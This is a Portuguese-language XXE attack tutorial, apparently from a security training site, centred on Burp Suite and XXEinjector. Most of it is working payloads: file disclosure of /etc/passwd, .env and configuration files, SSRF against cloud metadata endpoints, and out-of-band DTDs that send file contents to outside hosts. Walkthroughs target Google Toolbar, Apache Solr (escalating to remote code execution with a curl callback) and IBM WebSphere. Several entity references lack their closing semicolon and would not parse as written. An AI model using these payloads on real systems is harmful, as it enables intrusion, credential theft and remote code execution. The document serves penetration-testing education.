✅ Compreensão fundamental

• Comportamento de parsers XML e processamento de entidades
• Manipulação de DTD (Document Type Definition)
• Exploração de referências de entidades externas
• Técnicas de detecção e exploração de XXE cego

🔍 Habilidades avançadas

• Métodos de exfiltração de dados out-of-band
• Encadeamento de XXE com SSRF e inclusão de arquivos
• Exploração de APIs SOAP e uploads XML
• Implementação segura de parsing XML

Pontos de entrada comuns

Onde vulnerabilidades XXE tipicamente aparecem

Endpoints de API SOAP
Uploads de arquivos XML
Processamento de feeds RSS/Atom
Uploads de imagens SVG
Processamento de documentos Office
Imports de arquivos de configuração

Vetores de ataque

Métodos usados para explorar XXE

Ataques de divulgação de arquivos
SSRF via entidades externas
Negação de serviço (billion laughs)
Exfiltração de dados out-of-band
Exploração de XXE cego
Execução remota de código

Potencial de impacto

O que atacantes podem alcançar

Divulgação de código fonte
Roubo de arquivos de configuração
Varredura de rede interna
Acesso a metadados AWS
Exposição de credenciais de banco de dados
Escalação de privilégios

Por que Burp Suite se destaca em testes XXE

Burp Suite fornece várias vantagens chave para testes XXE que o tornam a escolha preferida de especialistas em segurança. A plataforma integra múltiplas abordagens de teste em uma única interface, permitindo transição perfeita da descoberta à exploração à avaliação de impacto.

Burp Proxy captura todo o tráfego HTTP, permitindo identificar endpoints de processamento XML que você poderia perder de outra forma. Muitas aplicações usam XML em lugares inesperados - submissões de formulários, chamadas de API ou uploads de arquivos - e Burp Proxy revela essas oportunidades.

Burp Repeater permite criação e teste preciso de payloads. Você pode modificar requisições XML em tempo real, testar diferentes referências de entidades e ver imediatamente os resultados. Este controle manual é essencial para entender exatamente como a aplicação alvo processa XML.

Burp Collaborator resolve o desafio de testes XXE cego. Quando aplicações não exibem diretamente conteúdo de arquivos nas respostas, Collaborator fornece um canal out-of-band para confirmar que entidades externas estão sendo processadas e para exfiltrar dados.

Workflow de teste XXE com Burp Suite passo a passo

# Passo 1: Configuração de proxy e captura de tráfego
# Configurar navegador para usar Burp Proxy (127.0.0.1:8080)
# Navegar na aplicação alvo enquanto Burp captura todas as requisições
# Procurar requisições com Content-Type: application/xml ou text/xml

# Passo 2: Identificar endpoints de processamento XML
# Revisar requisições capturadas no histórico do Proxy
# Buscar conteúdo XML nos corpos das requisições
# Anotar endpoints que aceitam uploads de arquivos

# Passo 3: Detecção XXE básica no Burp Repeater
# Clique direito em requisição XML capturada → Send to Repeater
# Modificar o XML para incluir uma referência de entidade externa

POST /api/process HTTP/1.1
Host: <target>
Content-Type: application/xml
Content-Length: 154

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
  <user>&xxe</user>
  <action>process</action>
</data>

# Passo 4: Analisar resposta para divulgação direta de arquivos
# Enviar requisição e examinar corpo da resposta
# Procurar conteúdo de arquivo na resposta (XXE direto)
# Verificar mensagens de erro que podem revelar caminhos

# Passo 5: Burp Collaborator para testes XXE cego
# Ir para Burp Collaborator client → Copy to clipboard
# Criar payload usando domínio do Collaborator

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://abcd1234efgh.burpcollaborator.net/xxe.dtd">
%dtd;
]>
<data>&send</data>

# Passo 6: Monitorar interações do Collaborator
# Retornar ao Collaborator client → Poll now
# Verificar lookups DNS ou requisições HTTP
# Confirma que entidades externas estão sendo processadas

# Passo 7: Exfiltração de dados via Collaborator
# Hospedar arquivo DTD malicioso no domínio do Collaborator
# Usar entidades de parâmetro para exfiltrar conteúdo de arquivos

# Exemplo de conteúdo DTD para exfiltração de dados:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'http://abcd1234efgh.burpcollaborator.net/exfil?data=%file;'>">
%eval;

# Passo 8: Testes automatizados com Burp Scanner
# Clique direito no alvo → Scan
# Habilitar verificações de scan específicas para XXE
# Revisar resultados do Scanner para vetores XXE adicionais

Dica de especialista: A abordagem integrada do Burp Suite significa que você pode descobrir vulnerabilidades XXE via Proxy, explorá-las manualmente no Repeater, confirmar ataques cegos com Collaborator e escalar testes com Scanner - tudo na mesma plataforma que especialistas em segurança usam para avaliações empresariais.

Teste sistemático de payloads XXE

# Teste de divulgação de arquivos básico
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe</root>

# Acesso a arquivos de sistema Windows
<!ENTITY win SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">

# Direcionamento de arquivos específicos da aplicação
<!ENTITY config SYSTEM "file:///var/www/html/config.php">
<!ENTITY env SYSTEM "file:///.env">
<!ENTITY db SYSTEM "file:///opt/app/database.yml">

# Exploração de wrapper PHP (se suportado)
<!ENTITY php SYSTEM "php://filter/convert.base64-encode/resource=index.php">

# SSRF via XXE
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/">
<!ENTITY internal SYSTEM "http://internal-service:8080/admin">

# Exfiltração de dados out-of-band
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://hackerdna.xss.ht/xxe.dtd">
%dtd;
]>
<data>%send;</data>

# Conteúdo xxe.dtd para exfiltração de dados:
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'http://hackerdna.xss.ht/collect?data=%file;'>">
%eval;

Testes manuais permitem que especialistas em segurança entendam o comportamento da aplicação, testem casos extremos e desenvolvam estratégias de exploração direcionadas baseadas na implementação XML específica.

Exemplos de uso do XXEinjector

# Instalar XXEinjector
git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector

# Enumeração básica de arquivos
ruby XXEinjector.rb --host=<target> --path=/api/xml --file=/etc/passwd

# Enumeração de diretórios
ruby XXEinjector.rb --host=<target> --path=/upload --enumeration

# Testes out-of-band
ruby XXEinjector.rb --host=<target> --path=/process --oob=http --file=/var/www/html/config.php

# Testes de endpoint SOAP
ruby XXEinjector.rb --host=<target> --path=/soap/service --headers="SOAPAction: processData" --file=/etc/passwd

# Template de requisição personalizado
echo 'POST /api/data HTTP/1.1
Host: <target>
Content-Type: application/xml

XXEINJECTION' > request.txt

ruby XXEinjector.rb --host=<target> --file=/etc/passwd --path=/api/data --httpmethod=POST --xml=request.txt

XXEinjector fornece automação para cenários complexos mas requer compreensão dos fundamentos XXE e deve complementar, não substituir, técnicas de teste manual.

# Passo 1: Identificar processamento XML do Google Toolbar Button Gallery
# Google permitia que usuários submetessem botões de toolbar via XML
# Endpoint: Interface de submissão do Google Toolbar Button Gallery

# Passo 2: Criar XML de botão de toolbar malicioso com XXE
# Formato padrão de botão de toolbar com payload XXE embutido
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE customButtons [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<customButtons>
  <button>
    <title>HackerDNA Button</title>
    <description>&xxe</description>
    <url>http://hackerdna.com</url>
  </button>
</customButtons>

# Passo 3: Payload avançado para descoberta de infraestrutura Google
# Direcionar caminhos e arquivos de configuração específicos do Google
<?xml version="1.0"?>
<!DOCTYPE customButtons [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY resolv SYSTEM "file:///etc/resolv.conf">
]>
<customButtons>
  <button>
    <title>System Info</title>
    <description>&passwd</description>
    <tooltip>&hosts</tooltip>
  </button>
</customButtons>

# Passo 4: Exploração SSRF através de XXE
# Usar XXE para sondar serviços internos do Google
<!ENTITY ssrf SYSTEM "http://metadata.google.internal/computeMetadata/v1/">
<!ENTITY internal SYSTEM "http://169.254.169.254/latest/meta-data/">

# Passo 5: Exfiltração de dados out-of-band
# Para cenários onde resposta direta não está disponível
<?xml version="1.0"?>
<!DOCTYPE customButtons [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://hackerdna.xss.ht/google.dtd">
%dtd;
]>
<customButtons>
  <button>
    <title>%send;</title>
  </button>
</customButtons>

# Conteúdo google.dtd:
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'http://hackerdna.xss.ht/exfil?data=%file;'>">
%eval;

# Passo 1: Identificar endpoint de processamento XML do Solr
# Apache Solr aceita documentos XML para indexação
# Versões vulneráveis: 1.2 a 6.6.0 e 7.0.0 a 7.1.0
# Endpoint: http://<target>:8983/solr/<core>/update

# Passo 2: XXE básico para divulgação de arquivos
POST /solr/demo/update HTTP/1.1
Host: <target>:8983
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<add>
<doc>
<field name="id">&xxe</field>
<field name="title">XXE Test</field>
</doc>
</add>

# Passo 3: XXE avançado para acesso à configuração do Solr
# Direcionar arquivos de configuração e log específicos do Solr
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY config SYSTEM "file:///opt/solr/server/solr/configsets/_default/conf/solrconfig.xml">
<!ENTITY schema SYSTEM "file:///opt/solr/server/solr/demo/conf/schema.xml">
<!ENTITY logs SYSTEM "file:///opt/solr/server/logs/solr.log">
]>
<add>
<doc>
<field name="id">config_disclosure</field>
<field name="config">&config</field>
<field name="schema">&schema</field>
</doc>
</add>

# Passo 4: Escalação para RCE via manipulação de configuração
# Explorar API de atualização de configuração do Solr após reconhecimento XXE
POST /solr/demo/config HTTP/1.1
Content-Type: application/json

{
  "add-updateprocessor": {
    "name": "hdna-rce",
    "class": "solr.RunExecutableListener",
    "exe": "/bin/bash",
    "args": ["-c", "curl http://hackerdna.com/callback?data=$(whoami)"]
  }
}

# Passo 5: Disparar RCE através de atualização de documento
POST /solr/demo/update?processor=hdna-rce HTTP/1.1
Content-Type: application/xml

<add><doc><field name="id">rce-test</field></doc></add>

# Resultado: Execução remota de código alcançada através de descoberta XXE
# seguida de manipulação de configuração do Solr

# Passo 1: Identificar endpoint de serviço web WebSphere
# IBM WebSphere processa requisições SOAP e REST com XML
# Versões vulneráveis: 7.0, 8.0, 8.5 e 9.0
# Endpoint: /AppName/services/ServiceName

# Passo 2: Criar requisição SOAP maliciosa com XXE
POST /MyApp/services/DataProcessor HTTP/1.1
Host: <target>:9080
Content-Type: text/xml; charset=utf-8
SOAPAction: "processData"

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header/>
  <soapenv:Body>
    <ns:processData xmlns:ns="http://hackerdna.com/webservice">
      <ns:input>&xxe</ns:input>
    </ns:processData>
  </soapenv:Body>
</soapenv:Envelope>

# Passo 3: Direcionar arquivos de configuração específicos do WebSphere
<!ENTITY config SYSTEM "file:///opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config/cells/Node01Cell/nodes/Node01/servers/server1/server.xml">
<!ENTITY security SYSTEM "file:///opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config/cells/Node01Cell/security.xml">
<!ENTITY logs SYSTEM "file:///opt/IBM/WebSphere/AppServer/profiles/AppSrv01/logs/server1/SystemOut.log">

# Passo 4: Explorar para divulgação de dados sensíveis
<?xml version="1.0"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY wsconfig SYSTEM "file:///opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config/cells/Node01Cell/applications/MyApp.ear/deployments/MyApp/META-INF/application.xml">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <ns:getData>
      <ns:config>&wsconfig</ns:config>
    </ns:getData>
  </soapenv:Body>
</soapenv:Envelope>

# Passo 5: Exfiltração out-of-band para cenários cegos
<?xml version="1.0"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY % file SYSTEM "file:///opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config/cells/Node01Cell/security.xml">
<!ENTITY % dtd SYSTEM "http://hackerdna.xss.ht/websphere.dtd">
%dtd;
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <ns:probe>%send;</ns:probe>
  </soapenv:Body>
</soapenv:Envelope>